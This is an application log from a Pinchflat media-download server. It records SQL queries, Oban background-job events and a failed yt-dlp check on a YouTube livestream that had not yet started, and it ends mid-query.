[debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:59.097 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mxh_kSXFWpg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/01/d6/01d6b3f7fa74c350abc65ebbf030a43dcc0e89dee186bf6eaeef6d78d36a6d47.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:12:00.092 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:02.550 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mxh_kSXFWpg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/01/d6/01d6b3f7fa74c350abc65ebbf030a43dcc0e89dee186bf6eaeef6d78d36a6d47.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] mxh_kSXFWpg: This live event will begin in 37 days. 15:12:02.550 [error] yt-dlp download error for media item #102576: "ERROR: [youtube] mxh_kSXFWpg: This live event will begin in 37 days.\n" 15:12:02.572 [debug] QUERY OK source="media_items" db=21.1ms queue=0.1ms idle=1379.8ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] mxh_kSXFWpg: This live event will begin in 37 days.\n", ~U[2025-12-11 22:12:02Z], 102576] 15:12:02.574 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":102576},"id":2592,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3496633,"event":"job:exception","queue_time":742555,"attempt":18,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:12:16.955 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:46.958 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.093 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:16.960 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:46.962 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.094 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:16.964 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:46.966 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.095 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:16.968 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:46.970 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.096 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:16.972 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:46.974 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.097 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:16.976 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:46.978 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.098 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:16.980 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:46.982 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.099 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:16.984 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:46.986 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.100 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:16.988 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:46.990 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.101 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:16.992 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:46.994 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.102 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:16.996 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:46.998 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.103 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:17.000 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:47.002 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.104 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:17.004 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:47.006 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.105 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:17.008 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:47.010 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.106 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:17.012 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:47.014 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.107 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:17.016 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:47.018 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.108 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:17.020 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:47.022 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.109 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:17.024 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:47.026 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.110 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:17.028 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:47.030 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.111 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:17.032 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:47.034 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.112 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:17.036 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:47.038 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.113 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:17.040 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:47.042 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.114 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:17.044 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:47.046 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.115 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:17.048 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:47.050 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.116 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:17.052 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:47.054 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.117 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:17.056 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:47.058 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.118 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:17.060 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:47.062 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.119 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:17.064 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:47.066 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.120 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:17.068 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:47.070 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.121 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:17.072 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:47.074 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.122 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:17.076 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:47.078 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.123 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:17.080 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:47.082 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.124 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:17.084 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:47.086 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.125 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:17.088 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:47.090 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.126 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:17.092 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:47.094 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.127 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:17.096 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:47.098 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.128 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:17.100 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:47.102 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.129 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:17.104 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:47.106 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.130 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:17.108 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:47.110 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.131 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:17.112 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:47.114 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.132 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:17.116 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:47.117 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.133 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:17.120 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:47.122 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.134 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:17.124 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:47.126 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.135 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:17.128 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:47.130 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.136 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:17.132 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:47.134 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.137 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:17.136 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:47.138 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.138 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:17.140 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:47.142 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.139 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:17.144 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:47.146 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.140 [info] {"source":"oban","duration":231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:17.148 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:47.150 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.141 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:17.152 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:47.154 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.142 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:17.156 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:47.158 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.143 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:17.160 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:47.162 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.145 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:17.164 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:47.167 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.146 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:17.169 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:47.171 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.147 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:17.173 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:47.175 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.148 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:17.177 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:47.179 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.149 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:17.181 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:47.183 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.150 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:17.185 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:47.186 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.151 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:17.189 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:47.191 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.152 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:17.193 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:47.195 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.153 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:17.197 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:47.199 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.154 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:17.201 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:47.203 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.155 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:17.205 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:47.207 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.156 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:17.209 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:33.785 [info] {"args":{"id":102577},"id":2593,"meta":{},"system_time":1765494933785378273,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":18,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:15:33.786 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=614.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102577] 16:15:33.786 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:15:33.787 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=615.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:15:33.788 [debug] QUERY OK source="media_profiles" db=0.3ms idle=616.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:15:33.789 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=15.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102577] 16:15:33.790 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE 